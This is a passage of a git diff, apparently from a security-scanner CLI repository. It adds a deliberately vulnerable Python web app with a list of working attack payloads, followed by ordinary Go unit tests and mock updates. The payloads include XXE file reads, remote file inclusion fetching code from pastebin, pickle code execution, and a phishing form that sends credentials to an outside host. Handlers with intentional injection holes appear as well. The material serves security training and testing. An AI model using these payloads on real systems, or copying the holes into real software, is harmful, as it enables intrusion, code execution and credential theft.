"/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (memory)", "/?size=32", "/?size=9999999", "https://owasp.org/www-community/attacks/Denial_of_Service")) +def init(): + global connection + http.server.HTTPServer.allow_reuse_address = True + connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + cursor = connection.cursor() + cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)") + cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))) + cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)") + +class ReqHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor() + try: + if path == '/': + if "id" in params: + cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) + content += "
Result(s):
%s
idusernamenamesurname
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "v" in params: + content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX) + elif "object" in params: + content = str(pickle.loads(params["object"].encode())) + elif "path" in params: + content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode() + elif "domain" in params: + content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode() + elif "xml" in params: + content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode() + elif "name" in params: + found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"]) + content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) + elif "size" in params: + start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"]))) + content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX) + elif "comment" in params or query == "comment=": + if "comment" in params: + cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime())) + content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX + else: + cursor.execute("SELECT id, comment, time FROM comments") + content += "
Comment(s):
%s
idcommenttime
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "include" in params: + backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query} + exec(program, envs) + content += sys.stdout.getvalue() + sys.stdout = backup + elif "redir" in params: + content = content.replace("", "" % params["redir"]) + if HTML_PREFIX in content and HTML_POSTFIX not in content: + content += "
Attacks:
\n\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|") + elif path == "/users.json": + content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")") + elif path == "/login": + cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") + content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect" + else: + code = http.client.NOT_FOUND + except Exception as ex: + content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc() + code = http.client.INTERNAL_SERVER_ERROR + finally: + self.send_response(code) + self.send_header("Connection", "close") + self.send_header("X-XSS-Protection", "0") + self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8"))) + self.end_headers() + self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode()) + self.wfile.flush() + +class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + def server_bind(self): + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + http.server.HTTPServer.server_bind(self) + +if __name__ == "__main__": + init() + print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)) + try: + ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever() + except KeyboardInterrupt: + pass + except Exception as ex: + print("[x] exception occurred ('%s')" % ex) + finally: + os._exit(0) diff --git a/internal/services/export_test.go b/internal/services/export_test.go index 87da0304..1783d07b 100644 --- a/internal/services/export_test.go +++ b/internal/services/export_test.go @@ -67,3 +67,85 @@ func TestExportSbomResults(t *testing.T) { }) } } + +func TestGetExportPackage_InitiateExportRequestError_ReturnsError(t *testing.T) { + result, err := GetExportPackage(&mock.ExportMockWrapper{}, "err-scan-id", false, &mock.FeatureFlagsMockWrapper{}) + assert.Error(t, err) + assert.Nil(t, result) +} + +func TestGetExportPackage_MinioDisabled_UsesExportIDAsFilePath(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: false} + + var capturedFilePath string + var capturedAuth bool + exportWrapper := &mock.ExportMockWrapper{ + CustomGetScaPackageCollectionExport: func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) { + capturedFilePath = fileURL + capturedAuth = auth + return &wrappers.ScaPackageCollectionExport{}, nil + }, + } + + result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{}) + assert.NoError(t, err) + assert.NotNil(t, result) + assert.Equal(t, "id123456", capturedFilePath) + assert.False(t, capturedAuth) +} + +func TestGetExportPackage_MinioEnabled_UsesFileURLAsFilePath(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: true} + + var capturedFilePath string + var capturedAuth bool + exportWrapper := &mock.ExportMockWrapper{ + CustomGetScaPackageCollectionExport: func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) { + capturedFilePath = fileURL + capturedAuth = auth + return &wrappers.ScaPackageCollectionExport{}, nil + }, + } + + result, err := GetExportPackage(exportWrapper, "scan-id-123", true, &mock.FeatureFlagsMockWrapper{}) + assert.NoError(t, err) + assert.NotNil(t, result) + assert.Equal(t, "url", capturedFilePath) + assert.True(t, capturedAuth) +} + +func TestGetExportPackage_NoResultsFound_ReturnsEmptyCollectionWithoutError(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: false} + + exportWrapper := &mock.ExportMockWrapper{ + CustomGetExportReportStatus: func(exportID string) (*wrappers.ExportPollingResponse, error) { + return &wrappers.ExportPollingResponse{ + ExportStatus: completedStatus, + ErrorMessage: "No results were found for the scan", + }, nil + }, + } + + result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{}) + assert.NoError(t, err) + assert.NotNil(t, result) + assert.Empty(t, result.Packages) +} + +func TestGetExportPackage_PollForCompletionError_ReturnsError(t *testing.T) { + exportWrapper := &mock.ExportMockWrapper{ + CustomGetExportReportStatus: func(exportID string) (*wrappers.ExportPollingResponse, error) { + return nil, fmt.Errorf("polling failed") + }, + } + + result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{}) + assert.Error(t, err) + assert.Nil(t, result) +} diff --git a/internal/services/osinstaller/os-installer_test.go b/internal/services/osinstaller/os-installer_test.go new file mode 100644 index 00000000..aa71ff4b --- /dev/null +++ b/internal/services/osinstaller/os-installer_test.go @@ -0,0 +1,203 @@ +package osinstaller + +import ( + "crypto/sha256" + "fmt" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// newInstallConfig creates an InstallationConfiguration with a short, unique +// WorkingDirName (as production configs do, e.g. "CxVorpal") so that +// InstallationConfiguration.WorkingDir() resolves to a valid path on every OS. +// The resolved directory is created and cleaned up automatically. +func newInstallConfig(t *testing.T) *InstallationConfiguration { + t.Helper() + name := fmt.Sprintf("cx-cli-test-%d", time.Now().UnixNano()) + cfg := &InstallationConfiguration{ + ExecutableFile: "tool", + FileName: "tool.tar.gz", + HashFileName: "tool.hash", + WorkingDirName: name, + } + resolved := cfg.WorkingDir() + require.NoError(t, os.MkdirAll(resolved, 0755)) + t.Cleanup(func() { _ = os.RemoveAll(resolved) }) + return cfg +} + +func TestFileExists_ExistingFile_ReturnsTrue(t *testing.T) { + tempDir := t.TempDir() + filePath := filepath.Join(tempDir, "file.txt") + require.NoError(t, os.WriteFile(filePath, []byte("content"), 0600)) + + exists, err := FileExists(filePath) + assert.NoError(t, err) + assert.True(t, exists) +} + +func TestFileExists_NonExistentFile_ReturnsFalse(t *testing.T) { + exists, err := FileExists(filepath.Join(t.TempDir(), "missing.txt")) + assert.NoError(t, err) + assert.False(t, exists) +} + +func TestGetHashValue_ValidFile_ReturnsSha256Hash(t *testing.T) { + tempDir := t.TempDir() + filePath := filepath.Join(tempDir, "file.txt") + content := []byte("hash-me") + require.NoError(t, os.WriteFile(filePath, content, 0600)) + + expected := sha256.Sum256(content) + + hash, err := getHashValue(filePath) + assert.NoError(t, err) + assert.Equal(t, expected[:], hash) +} + +func TestGetHashValue_NonExistentFile_ReturnsError(t *testing.T) { + hash, err := getHashValue(filepath.Join(t.TempDir(), "missing.txt")) + assert.Error(t, err) + assert.Nil(t, hash) +} + +func TestCreateWorkingDirectory_CreatesDirectory(t *testing.T) { + name := fmt.Sprintf("cx-cli-test-not-created-yet-%d", time.Now().UnixNano()) + cfg := &InstallationConfiguration{WorkingDirName: name} + t.Cleanup(func() { _ = os.RemoveAll(cfg.WorkingDir()) }) + + err := createWorkingDirectory(cfg) + assert.NoError(t, err) + + info, statErr := os.Stat(cfg.WorkingDir()) + require.NoError(t, statErr) + assert.True(t, info.IsDir()) +} + +func TestDownloadFile_Success_WritesResponseBodyToFile(t *testing.T) { + const body = "binary-content" + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(body)) + })) + defer server.Close() + + destPath := filepath.Join(t.TempDir(), "downloaded.bin") + err := downloadFile(server.URL, destPath) + assert.NoError(t, err) + + content, readErr := os.ReadFile(destPath) + require.NoError(t, readErr) + assert.Equal(t, body, string(content)) +} + +func TestDownloadFile_UnreachableServer_ReturnsError(t *testing.T) { + destPath := filepath.Join(t.TempDir(), "downloaded.bin") + err := downloadFile("http://127.0.0.1:0/unreachable", destPath) + assert.Error(t, err) +} + +func TestDownloadHashFile_Success_WritesHashFile(t *testing.T) { + const hashContent = "deadbeef" + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(hashContent)) + })) + defer server.Close() + + destPath := filepath.Join(t.TempDir(), "tool.hash") + err := downloadHashFile(server.URL, destPath) + assert.NoError(t, err) + + content, readErr := os.ReadFile(destPath) + require.NoError(t, readErr) + assert.Equal(t, hashContent, string(content)) +} + +func TestIsLastVersion_HashUnchanged_ReturnsTrue(t *testing.T) { + const hashContent = "same-hash-value" + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(hashContent)) + })) + defer server.Close() + + hashFilePath := filepath.Join(t.TempDir(), "tool.hash") + require.NoError(t, os.WriteFile(hashFilePath, []byte(hashContent), 0600)) + + upToDate, err := isLastVersion(hashFilePath, server.URL, hashFilePath) + assert.NoError(t, err) + assert.True(t, upToDate) +} + +func TestIsLastVersion_HashChanged_ReturnsFalse(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte("new-hash-value")) + })) + defer server.Close() + + hashFilePath := filepath.Join(t.TempDir(), "tool.hash") + require.NoError(t, os.WriteFile(hashFilePath, []byte("old-hash-value"), 0600)) + + upToDate, err := isLastVersion(hashFilePath, server.URL, hashFilePath) + assert.NoError(t, err) + assert.False(t, upToDate) +} + +func TestIsLastVersion_DownloadFails_ReturnsError(t *testing.T) { + hashFilePath := filepath.Join(t.TempDir(), "tool.hash") + require.NoError(t, os.WriteFile(hashFilePath, []byte("old-hash-value"), 0600)) + + _, err := isLastVersion(hashFilePath, "http://127.0.0.1:0/unreachable", hashFilePath) + assert.Error(t, err) +} + +func TestDownloadNotNeeded_ExecutableMissing_ReturnsFalse(t *testing.T) { + cfg := newInstallConfig(t) + assert.False(t, downloadNotNeeded(cfg)) +} + +func TestDownloadNotNeeded_ExecutableExistsAndUpToDate_ReturnsTrue(t *testing.T) { + const hashContent = "matching-hash" + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(hashContent)) + })) + defer server.Close() + + cfg := newInstallConfig(t) + cfg.HashDownloadURL = server.URL + require.NoError(t, os.WriteFile(cfg.ExecutableFilePath(), []byte("exe"), 0755)) + require.NoError(t, os.WriteFile(cfg.HashFilePath(), []byte(hashContent), 0600)) + + assert.True(t, downloadNotNeeded(cfg)) +} + +func TestInstallOrUpgrade_AlreadyUpToDate_ReturnsFalseNil(t *testing.T) { + const hashContent = "matching-hash" + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(hashContent)) + })) + defer server.Close() + + cfg := newInstallConfig(t) + cfg.HashDownloadURL = server.URL + require.NoError(t, os.WriteFile(cfg.ExecutableFilePath(), []byte("exe"), 0755)) + require.NoError(t, os.WriteFile(cfg.HashFilePath(), []byte(hashContent), 0600)) + + installed, err := InstallOrUpgrade(cfg) + assert.NoError(t, err) + assert.False(t, bool(installed)) +} + +func TestInstallOrUpgrade_DownloadFileFails_ReturnsError(t *testing.T) { + cfg := newInstallConfig(t) + cfg.DownloadURL = "http://127.0.0.1:0/unreachable" + + installed, err := InstallOrUpgrade(cfg) + assert.Error(t, err) + assert.False(t, bool(installed)) +} diff --git a/internal/services/projects_test.go b/internal/services/projects_test.go index 700e2813..6d0aed10 100644 --- a/internal/services/projects_test.go +++ b/internal/services/projects_test.go @@ -7,6 +7,7 @@ import ( "github.com/checkmarx/ast-cli/internal/wrappers" "github.com/checkmarx/ast-cli/internal/wrappers/mock" "github.com/spf13/cobra" + "github.com/stretchr/testify/assert" ) func TestFindProject(t *testing.T) { @@ -190,7 +191,6 @@ func Test_updateProject(t *testing.T) { projectsWrapper wrappers.ProjectsWrapper groupsWrapper wrappers.GroupsWrapper accessManagementWrapper wrappers.AccessManagementWrapper - applicationsWrapper wrappers.ApplicationsWrapper projectName string applicationID []string projectTags string @@ -320,3 +320,15 @@ func TestGetProjectsCollectionByProjectName(t *testing.T) { }) } } + +func TestVerifyApplicationAssociationDone_AlreadyAssociated_ReturnsNil(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + err := verifyApplicationAssociationDone(mock.ExistingApplication, "ID-newProject", applicationWrapper) + assert.NoError(t, err) +} + +func TestVerifyApplicationAssociationDone_WrapperError_ReturnsError(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + err := verifyApplicationAssociationDone(mock.NoPermissionApp, "any-project-id", applicationWrapper) + assert.Error(t, err) +} diff --git a/internal/services/realtimeengine/common_test.go b/internal/services/realtimeengine/common_test.go new file mode 100644 index 00000000..68222f38 --- /dev/null +++ b/internal/services/realtimeengine/common_test.go @@ -0,0 +1,93 @@ +package realtimeengine + +import ( + "errors" + "os" + "path/filepath" + "testing" + + errorconstants "github.com/checkmarx/ast-cli/internal/constants/errors" + "github.com/checkmarx/ast-cli/internal/wrappers/mock" + "github.com/stretchr/testify/assert" +) + +func TestIsFeatureFlagEnabled_Success(t *testing.T) { + mock.FFErr = nil //nolint:gocritic // resetting shared mock package state between tests + defer func() { mock.FFErr = nil }() //nolint:gocritic // resetting shared mock package state between tests + mock.Flag.Name = "SOME_FLAG" + mock.Flag.Status = true + + enabled, err := IsFeatureFlagEnabled(&mock.FeatureFlagsMockWrapper{}, "SOME_FLAG") + assert.NoError(t, err) + assert.True(t, enabled) +} + +func TestIsFeatureFlagEnabled_WrapperError_ReturnsWrappedError(t *testing.T) { + mock.FFErr = errors.New("feature flag lookup failed") //nolint:gocritic // resetting shared mock package state between tests + defer func() { mock.FFErr = nil }() //nolint:gocritic // resetting shared mock package state between tests + + enabled, err := IsFeatureFlagEnabled(&mock.FeatureFlagsMockWrapper{}, "SOME_FLAG") + assert.Error(t, err) + assert.Contains(t, err.Error(), "failed to get feature flag") + assert.False(t, enabled) +} + +func TestEnsureLicense_NilWrapper_ReturnsError(t *testing.T) { + err := EnsureLicense(nil) + assert.Error(t, err) + assert.Contains(t, err.Error(), "JWT wrapper is not initialized") +} + +func TestEnsureLicense_AtLeastOneEngineAllowed_ReturnsNil(t *testing.T) { + jwtWrapper := &mock.JWTMockWrapper{ + CustomIsAllowedEngine: func(engine string) (bool, error) { + return true, nil + }, + } + err := EnsureLicense(jwtWrapper) + assert.NoError(t, err) +} + +func TestEnsureLicense_NoEngineAllowed_ReturnsMissingLicenseError(t *testing.T) { + jwtWrapper := &mock.JWTMockWrapper{ + CustomIsAllowedEngine: func(engine string) (bool, error) { + return false, nil + }, + } + err := EnsureLicense(jwtWrapper) + assert.Error(t, err) + assert.Contains(t, err.Error(), errorconstants.ErrMissingAIFeatureLicense) +} + +func TestEnsureLicense_WrapperError_ReturnsWrappedError(t *testing.T) { + jwtWrapper := &mock.JWTMockWrapper{ + CustomIsAllowedEngine: func(engine string) (bool, error) { + return false, errors.New("engine check failed") + }, + } + err := EnsureLicense(jwtWrapper) + assert.Error(t, err) + assert.Contains(t, err.Error(), "failed to check CheckmarxOneAssistType engine allowance") +} + +func TestValidateFilePath_ExistingFile_ReturnsNil(t *testing.T) { + tempDir := t.TempDir() + filePath := filepath.Join(tempDir, "existing-file.txt") + err := os.WriteFile(filePath, []byte("content"), 0600) + assert.NoError(t, err) + + err = ValidateFilePath(filePath) + assert.NoError(t, err) +} + +func TestValidateFilePath_NonExistentFile_ReturnsError(t *testing.T) { + err := ValidateFilePath(filepath.Join(t.TempDir(), "nonexistent-file.txt")) + assert.Error(t, err) + assert.Contains(t, err.Error(), "file does not exist") +} + +func TestValidateFilePath_Directory_ReturnsError(t *testing.T) { + err := ValidateFilePath(t.TempDir()) + assert.Error(t, err) + assert.Contains(t, err.Error(), "path is a directory") +} diff --git a/internal/wrappers/mock/asca-mock.go b/internal/wrappers/mock/asca-mock.go index 71e59b65..692a691b 100644 --- a/internal/wrappers/mock/asca-mock.go +++ b/internal/wrappers/mock/asca-mock.go @@ -11,7 +11,8 @@ var ( ) type ASCAMockWrapper struct { - Port int + Port int + CustomScan func(fileName, sourceCode string) (*grpcs.ScanResult, error) } func NewASCAMockWrapper(port int) *ASCAMockWrapper { @@ -19,6 +20,9 @@ func NewASCAMockWrapper(port int) *ASCAMockWrapper { } func (v *ASCAMockWrapper) Scan(fileName, sourceCode string) (*grpcs.ScanResult, error) { + if v.CustomScan != nil { + return v.CustomScan(fileName, sourceCode) + } if fileName == "csharp-no-vul.cs" { return ReturnFailureResponseMock(), nil } diff --git a/internal/wrappers/mock/export-mock.go b/internal/wrappers/mock/export-mock.go index c82710b0..dafeb0b7 100644 --- a/internal/wrappers/mock/export-mock.go +++ b/internal/wrappers/mock/export-mock.go @@ -7,7 +7,10 @@ import ( "github.com/pkg/errors" ) -type ExportMockWrapper struct{} +type ExportMockWrapper struct { + CustomGetExportReportStatus func(exportID string) (*wrappers.ExportPollingResponse, error) + CustomGetScaPackageCollectionExport func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) +} // GenerateSbomReport mock for tests func (*ExportMockWrapper) InitiateExportRequest(payload *wrappers.ExportRequestPayload) (*wrappers.ExportResponse, error) { @@ -20,7 +23,10 @@ func (*ExportMockWrapper) InitiateExportRequest(payload *wrappers.ExportRequestP } // GetSbomReportStatus mock for tests -func (*ExportMockWrapper) GetExportReportStatus(_ string) (*wrappers.ExportPollingResponse, error) { +func (e *ExportMockWrapper) GetExportReportStatus(exportID string) (*wrappers.ExportPollingResponse, error) { + if e.CustomGetExportReportStatus != nil { + return e.CustomGetExportReportStatus(exportID) + } return &wrappers.ExportPollingResponse{ ExportID: "id1234", ExportStatus: "Completed", @@ -44,5 +50,8 @@ func (*ExportMockWrapper) DownloadExportReport(_, targetFile string) error { } func (e *ExportMockWrapper) GetScaPackageCollectionExport(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) { + if e.CustomGetScaPackageCollectionExport != nil { + return e.CustomGetScaPackageCollectionExport(fileURL, auth) + } return &wrappers.ScaPackageCollectionExport{}, nil } diff --git a/internal/wrappers/mock/jwt-helper-mock.go b/internal/wrappers/mock/jwt-helper-mock.go index 9991b962..b487a959 100644 --- a/internal/wrappers/mock/jwt-helper-mock.go +++ b/internal/wrappers/mock/jwt-helper-mock.go @@ -15,6 +15,7 @@ type JWTMockWrapper struct { CheckmarxOneAssistEnabled int DastEnabled bool CustomGetAllowedEngines func(wrappers.FeatureFlagsWrapper) (map[string]bool, error) + CustomIsAllowedEngine func(engine string) (bool, error) } const AIProtectionDisabled = 1 @@ -46,6 +47,9 @@ func (*JWTMockWrapper) ExtractTenantFromToken() (tenant string, err error) { // IsAllowedEngine mock for tests func (j *JWTMockWrapper) IsAllowedEngine(engine string) (bool, error) { + if j.CustomIsAllowedEngine != nil { + return j.CustomIsAllowedEngine(engine) + } if engine == params.AiProviderFlag { if j.AIEnabled == AIProtectionDisabled { return false, nil diff --git a/internal/wrappers/mock/telemetry-mock.go b/internal/wrappers/mock/telemetry-mock.go index e891a1e6..19b58711 100644 --- a/internal/wrappers/mock/telemetry-mock.go +++ 